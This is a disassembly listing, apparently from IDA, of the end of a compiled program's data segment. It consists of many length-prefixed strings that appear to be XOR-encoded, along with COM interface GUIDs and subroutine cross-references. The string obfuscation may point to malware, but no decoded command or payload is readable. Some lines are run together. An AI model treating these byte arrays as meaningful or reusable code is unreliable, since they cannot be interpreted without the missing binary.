		dd 767D4C0Fh, 615A7B7Fh, 7B607D7Fh, 4B7B6C6Ah, 6E7B6Eh
dword_550320	dd 82E1000Bh, 95919893h, 85CFD3D2h		db 2 dup(8Dh), 0
byte_55032F	db 0Bh			; DATA XREF: sub_43CBF8+1o
		dd 7C6D0E00h, 3D7A7E77h, 626A203Ch
		db 62h,	0
word_55033E	dw 13h			; DATA XREF: sub_43C7A3+3F0o
		dd 8193B7Ch, 0E0E093Fh,	2C081219h, 191F130Eh, 18350F0Fh
		db 0
byte_550355	db 9, 0, 0F7h		; DATA XREF: sub_43C7A3+3DBo
aAeugtUit	db ' …ƒ’±›’',0
word_550362	dw 11h			; DATA XREF: sub_43C7A3+3C6o
		dd 0F0E1C384h, 0EFF7EDC0h, 0E1E1F6C2h, 0E7E5F4D7h
		db 0E1h, 0C5h, 0
byte_550377	db 16h			; DATA XREF: sub_43C7A3+3B1o
		dd 0B694D300h, 0A5BD96A7h, 0BDBCA1BAh, 0A7BDB6BEh, 0BAA1A780h
		dd 92A0B4BDh
		db 0
byte_550391	db 13h,	0, 55h		; DATA XREF: sub_43C7A3+39Co
		dd 6213012h, 3021262Ch,	273C1138h, 3A213630h, 142C27h
dword_5503A8	dd 4D0A000Ch, 6F5E7E6Fh, 6B5A7A67h, 4B627Ehdword_5503B8	dd 0E9850008h, 0E9F7F1F6h, 0D2EBE0hdword_5503C4	dd 0FBBC000Eh, 0D3F0C8D9h, 0D9D0DDDFh, 0D3DAD2F5h
					; DATA XREF: sub_43C7A3+35Do
		db 0FDh, 0
word_5503D6	dw 0Dh			; DATA XREF: sub_43C7A3+348o
aKiIDIsIm	db 'ÍŠ¨¹‰¿¤»¨™´½¨Œ',0
asc_5503E7	db 0Bh,0		; DATA XREF: sub_43C7A3+333o
		db 86h,	0C5h, 0EAh
		dd 0CEE3F5E9h, 0EAE2E8E7h
		db 0E3h, 0
word_5503F6	dw 0Eh			; DATA XREF: sub_43C7A3+31Eo
		dd 0D2C3F5A6h, 0C3CACFE0h, 0C8CFC9F6h, 0D4C3D2h
dword_550408	dd 6D21000Ch, 6D45404Eh, 40534348h, 605853hdword_550418	dd 6F3D000Dh, 58675149h, 5870524Fh, 444F5250h		db 0
byte_550429	db 7, 0, 37h		; DATA XREF: sub_43C7A3+2DFo
aYrort		db '`^YrORT',0
asc_550434:				; DATA XREF: sub_43C7A3+2CAo
		dw 0Ah
		dw 0FBBEh
		db 'Æ×ÊêÖÌÛßÚ',0
word_550442	dw 14h			; DATA XREF: sub_43C7A3+2B5o
		dd 23391E57h, 383B2532h, 33323C34h, 2534391Eh, 39323A32h
		db 23h,	0
word_55045A	dw 0Dh			; DATA XREF: sub_43C7A3+2A0o
a?yvqQzgkyvsz	db '?yVQ[qZGKyVSZ~',0
asc_55046B	db 0Dh,0		; DATA XREF: sub_43C7A3+28Bo
aKiUIasdai	db 'ÍŠ¨¹´¾¹¨ ™¤ ¨',0
dword_55047C	dd 581F000Ch, 764B6B7Ah, 705C747Ch, 6B716Ahdword_55048C	dd 8ACD0010h, 0A280B9A8h, 0A8A1B8A9h, 0A9A3AC85h, 8CA8A1h
					; DATA XREF: sub_43C7A3+261o
dword_5504A0	dd 7127000Bh, 5253554Eh, 55614B46h		db 2 dup(42h), 0
byte_5504AF	db 0Bh			; DATA XREF: sub_43C7A3+237o
		dd 11206300h, 6170206h,	60F0A25h
asc_5504BC:				; DATA XREF: sub_43C7A3+222o
		unicode	0, <">
		dw 0Ah
		dw 0B2FDh
aNsuIise	db '˜“°ˆ‰˜…¼',0
asc_5504CC:				; DATA XREF: sub_43C7A3+20Do
		dw 0Bh
		dw 0C384h
		dd 0EDC2F0E1h, 0EDD7E1E8h
		db 0FEh, 0E1h, 0
byte_5504DB	db 0Bh			; DATA XREF: sub_43C7A3+1F8o
		dd 497D3B00h, 52775E5Eh, 495A4959h
		db 42h,	0
word_5504EA	dw 0Ch			; DATA XREF: sub_43C7A3+1E3o
		dd 8398A7F1h, 9D908485h, 9E9D9DB0h
		db 92h,	0
word_5504FA	dw 10h			; DATA XREF: sub_43C7A3+1CEo
aNlJfdyLGhdlh	db ')nL]jFDY\]L[gHDLh',0
asc_55050E	db 0Bh,0		; DATA XREF: sub_43C7A3+1B9o
a6yfsxfdyusee	db '6yFSXfDYUSEE',0
byte_55051D	db 17h,	0, 0ECh		; DATA XREF: sub_43C7A3+1A4o
aKuiiivEugvbivs	db 'ª‰‰©‚š…ƒ‚‰‚˜¿˜…‚‹Ÿ­',0
dword_550538	dd 0FDBB000Eh, 0FDDFD5D2h, 0CFC8C9D2h, 0DED7D2FDh
					; DATA XREF: sub_43C7A3+18Fo
		db 0FAh, 0
word_55054A	dw 0Ch			; DATA XREF: sub_43C7A3+17Ao
		dd 0D8CFFEBDh, 0F0D8C9DCh, 0C5D8C9C8h
		db 0FCh, 0
word_55055A	dw 14h			; DATA XREF: sub_43C7A3+165o
		dd 0C5DFF8B1h, 0DEDDC3D4h, 0D5D4DAD2h, 0C3D2D4F5h, 0DFD4DCD4h
		db 0C5h, 0
word_550572	dw 14h			; DATA XREF: sub_43C7A3+150o
		dd 989DB2F4h, 999DA091h, 0A79BA091h, 9180878Dh,	999DA099h
		db 91h,	0
word_55058A	dw 0Dh			; DATA XREF: sub_43C7A3+13Bo
		dd 0FFEECC8Bh, 0F8F9EEDDh, 0CEE5E4E2h
		db 0F3h, 0CAh, 0
byte_55059B	db 9			; DATA XREF: sub_43C7A3+126o
		dd 2F034000h, 29063930h, 1252Ch
dword_5505A8	dd 0D89F0015h, 0F0C9EBFAh, 0FAF2EAF3h, 0F0F9F1D6h, 0EBFEF2EDh
					; DATA XREF: sub_43C7A3+111o
		dd 0DEF1F0F6h
		db 0
byte_5505C1	db 8, 0, 45h		; DATA XREF: sub_43C7A3+FCo
		dd 21242017h, 20292C03h
		db 0
byte_5505CD	db 13h,	0, 90h		; DATA XREF: sub_43C7A3+E7o
		dd 0F5F4F9C7h, 0E2F1F8D3h, 0E5DDFFC4h, 0D2F9E4FCh, 0F5E4E9h
dword_5505E4	dd 4D0E000Fh, 6F7E6361h, 67486B7Ch, 675A6B62h		db 63h,	6Bh, 0
byte_5505F7	db 11h			; DATA XREF: sub_43C7A3+BDo
		dd 34165100h, 38291425h, 353E1225h, 23390534h, 353034h
dword_55060C	dd 460B0013h, 627F677Eh, 6E7F7249h, 625C645Fh, 63486E6Fh
					; DATA XREF: sub_43C7A3+A8o
		db 6Ah,	79h, 0
byte_550623	db 9			; DATA XREF: sub_43C7A3+93o
		dd 9EBDF100h, 0B79D9092h, 949483h
dword_550630	dd 0D88F0013h, 0C9FBE6EEh, 0E6DCFDE0h, 0EAE3E8E1h, 0EAE5EDC0h
					; DATA XREF: sub_43C7A3+7Eo
		db 0ECh, 0FBh, 0
byte_550647	db 12h			; DATA XREF: sub_43C7A3+69o
		dd 25074000h, 242F0D34h, 6252C35h, 0E252C29h, 1252D21h
		db 0
byte_55065D	db 0Bh,	0, 52h		; DATA XREF: sub_43C7A3+54o
		dd 373E3716h, 3B143726h, 13373Eh
dword_55066C	dd 0AEFD000Ch, 8FB88998h, 0B08F928Fh, 989992hdword_55067C	dd 0F7B10009h, 0F2D5DFD8h, 0D4C2DEDDh		db 0
byte_550689	db 0Ah,	0, 42h		; DATA XREF: sub_43C7A3+15o
		dd 23212D0Eh, 2E2E032Eh
		db 2Dh,	21h, 0
byte_550697	db 12h			; DATA XREF: sub_43C7A3o
		dd 0FCDE9900h, 0EBECDAEDh, 0EDF7FCEBh, 0FCEBF1CDh, 0FDD0FDF8h
		db 0
byte_5506AD	db 6, 0, 4		; DATA XREF: sub_43C501:loc_43C609o
		db '!\)!\%',0
asc_5506B7	db 7,0			; DATA XREF: sub_43C501+58o
		db 0D4h, 88h, 0A4h
		dd 0B8B0FAFEh
		db 0B8h, 0
word_5506C2	dw 6			; DATA XREF: sub_43C397+150o
aWpvgep		db '$WPVGEP',0
dword_5506CC	dd 1C710006h, 1121C14h		db 8, 0
word_5506D6	dw 8			; DATA XREF: sub_43C397+126o
		dd 0C0F0A7Ch, 812150Eh
		db 1Ah,	0
word_5506E2	dw 7			; DATA XREF: sub_43C397+111o
aW91		db 'W$',27h,'%>9#1',0
asc_5506ED	db 7,0			; DATA XREF: sub_43C397+FCo
		db 9Fh
		dd 0EFEAF0EBh, 0EDFAEFh
dword_5506F8	dd 77160004h, 7F7962hdword_550700	dd 0D5B80006h, 0D7D4D4D9h		db 0DBh, 0
word_55070A	dw 5			; DATA XREF: sub_43C397+BDo
		dd 1D0E0F7Ch
		db 12h,	18h, 0
byte_550713	db 6			; DATA XREF: sub_43C397+A8o
		dd 4B673800h, 485D5D54h
		db 0
byte_55071D	db 4, 0, 0A5h		; DATA XREF: sub_43C397+93o
		db 'Ã×ÀÀ',0
byte_550725	db 4, 0, 87h		; DATA XREF: sub_43C397+7Eo
		dd 0E3E9E6F5h
		db 0
byte_55072D	db 6, 0, 0E8h		; DATA XREF: sub_43C397+69o
aEneles		db '……‹…˜',0
byte_550737	db 6			; DATA XREF: sub_43C397+54o
		dd 0C1C6B500h, 0CCC5D6C7h
		db 0
byte_550741	db 6, 0, 0E8h		; DATA XREF: sub_43C397:loc_43C3D6o
aEnein		db '……›œ',0
asc_55074B	db 0Ah,0		; DATA XREF: sub_43C397+28o
		db 0D9h, 0BAh, 0ABh
		dd 0B5B5BDADh, 0B5B5BDF7h
		db 0
byte_550759	db 0Ah,	0, 0F9h		; DATA XREF: sub_43C397+1o
aLnaxxAxx	db 'š‹••×••',0
byte_550767	db 0			; DATA XREF: sub_43C284:loc_43C2E5o
		db 0, 9Eh, 0
byte_55076B	db 5			; DATA XREF: sub_43BE84+23Do
		dd 782E0B00h, 782E57h
dword_550774	dd 0D8FD0005h, 8ED8A18Eh		db 0
byte_55077D	db 4, 0, 78h		; DATA XREF: sub_43BE84+Fo
aR		db ']',0Bh,'$R',0
byte_550785	db 4, 0, 39h		; DATA XREF: sub_43BE1F+1Co
		dd 65035A1Ch
		db 0
byte_55078D	db 14h,	0, 0B4h		; DATA XREF: sub_43BD23:loc_43BD6Bo
		dd 0DBC0E7E4h, 0C6F7D1C6h, 0D1C0D5D1h, 0C0C7DAFDh, 0D1D7DAD5h
		db 0
byte_5507A5	db 0Bh,	0, 35h		; DATA XREF: sub_43BD23+31o
aEfazgpvQyy	db 'EFAZGPV',1Bh,'QYY',0
asc_5507B4	db 0Bh,0		; DATA XREF: sub_43BD23+1o
		dw 1363h
		dd 110C1710h, 74D0006h
		db 2 dup(0Fh), 0
byte_5507C3	db 6			; DATA XREF: sub_43BC76+2Do
					; sub_444ED7+223o
		dd 0B0B0DB00h, 0A3ADF6AAh
		db 0
byte_5507CD	db 8, 0, 0E3h		; DATA XREF: sub_43BC76:loc_43BC93o
aROciC		db 'Ƽ—›Æ–',0
byte_5507D9	db 11h,	0, 0DCh		; DATA XREF: sub_43BA83+24o
		dd 0B9A8B295h, 0A8B9B2AEh, 0ACA499FCh, 0B9AEB3B0h
		db 0AEh, 0
word_5507EE	dw 10h			; DATA XREF: sub_43B309:loc_43B351o
		dd 0E7E8F3A0h, 0CFE6D4C5h, 0D2C5C4CCh, 0C8D4C1F0h
		db 0E1h, 0
word_550802	dw 0Bh			; DATA XREF: sub_43B309+31o
		dd 171A0172h, 40411E1Eh, 1E1E165Ch
		db 0
byte_550811	db 0Bh,	0, 5Eh		; DATA XREF: sub_43B309+1o
a622mlp22	db '-6;22mlp:22',0
dword_550820	dd 65390001h			db 0
byte_550825	db 5, 0, 0EBh		; DATA XREF: sub_4395D8+806o
aPkqk		db 'ÅŠŸŠ',0
word_55082E	dw 16h			; DATA XREF: sub_438324+EF4o
		dd 52A69h, 2649020Ah, 490C0A07h, 2A49063Dh, 1D0706h, 0C1C07h
dword_550848	dd 0ABE90006h, 0A6BDBDBCh		db 0A7h, 0
word_550852	dw 1Eh			; DATA XREF: sub_438324+E29o
		dd 464E5316h, 4257445Fh, 3658595Fh, 53425752h, 571C1C1Ch
		dd 46365B42h, 5536585Fh, 535259h
dword_550874	dd 40130006h, 5A475247h		db 50h,	0
word_55087E	dw 0			; DATA XREF: sub_438324+D37o
		db 10h,	0
word_550882	dw 4			; DATA XREF: sub_438324+D27o
		dd 101D1C59h
		db 0Dh,	0
word_55088A	dw 6			; DATA XREF: sub_438324+C9Fo
aFtvcht3	db 'Ftvcht3',0
dword_550894	dd 0BF9A0004h, 0EFA8B4hdword_55089C	dd 0B80000h	dword_5508A0	dd 3A790008h, 363B3436h, 21363Bhoff_5508AC	dd offset dword_460000	; DATA XREF: sub_438324+A9Ao
dword_5508B0	dd 0F0B30008h, 0FCF1FEFCh, 0EBFCF1hdword_5508BC	dd 6E3D0006h, 74697C69h		db 7Eh,	0
word_5508C6	dw 6Eh			; DATA XREF: sub_438324:loc_438C53o
		dd 303F0451h, 71343D33h, 30713E25h, 3E392524h, 342B3823h
		dd 22745B7Fh, 3E232171h, 22223432h, 71363F38h, 253F3432h
		dd 38712334h, 3F247122h, 343D3330h, 713E2571h, 39252430h
		dd 2B38233Eh, 3E287134h, 32712324h, 71352330h, 5B7F2274h
		dd 343A301Ch, 233E3271h, 25323423h, 223F3E38h, 353F3071h
		dd 28232571h, 30363071h, 7F3F38h
dword_550938	dd 0ABE6000Ah, 83929587h, 9487A594h		db 82h,	0
word_550946	dw 4			; DATA XREF: sub_438324+8FDo
		dd 0E9F3ECBAh
		db 0FBh, 0
word_55094E	dw 1			; DATA XREF: sub_438324+828o
		db 47h,	67h, 0
byte_550953	db 6			; DATA XREF: sub_438324+818o
		dd 0CCCB9800h, 0DBD1CCD9h
		db 0
byte_55095D	db 15h,	0, 53h		; DATA XREF: sub_438324+6E7o
		dd 73737359h, 101C0103h, 1A000016h, 1573141Dh, 161F1A12h
		db 17h,	0
word_550976	dw 6			; DATA XREF: sub_438324+6D7o
aQOJm		db 'ï¼»®»¦¬',0
dword_550980	dd 3B0000h	dword_550984	dd 0F1A20006h, 0EBF6E3F6h		db 0E1h, 0
word_55098E	dw 6			; DATA XREF: sub_438324+4FEo
		dd 150F0F64h, 1C1249h
dword_550998	dd 5C190008h, 76756961h, 6B7C6Bhdword_5509A4	dd 85C10009h, 0A38EA2AEh, 0B5A2A4ABh		db 0
byte_5509B1	db 0Eh,	0, 9Ah		; DATA XREF: sub_438324+421o
		dd 0CDF8FBCEh, 0F5FEF4F3h, 0FBF6D9EDh, 3A00E9E9h, 2F2Fh
dword_5509C8	dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5509D8	dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h					; sub_441B74+1F2o ...
dword_5509E8	dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
					; DATA XREF: sub_439556:loc_4395A2o
					; sub_43C652+D3o ...
dword_5509F8	dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
					; DATA XREF: sub_43DA81:loc_43DACDo
dword_550A08	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_550A18	dd 20400h, 0						; sub_43DA81:loc_43DAADo ...
		dd 0C0h, 46000000h
dword_550A28	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh					; sub_44296E+188o
dword_550A38	dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_44526D+89o
dword_550A48	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_44296E+54Eo ...
dword_550A58	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_550A68	dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_550A78	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_550A88	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_550A98	dd 2 dup(0)						; sub_43DA81+Co ...
		dd 0C0h, 46000000h
dword_550AA8	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 52h dup(0)
					; DATA XREF: sub_43C652+9Eo
					; sub_43EA1B+A7o ...
_data		ends


		end start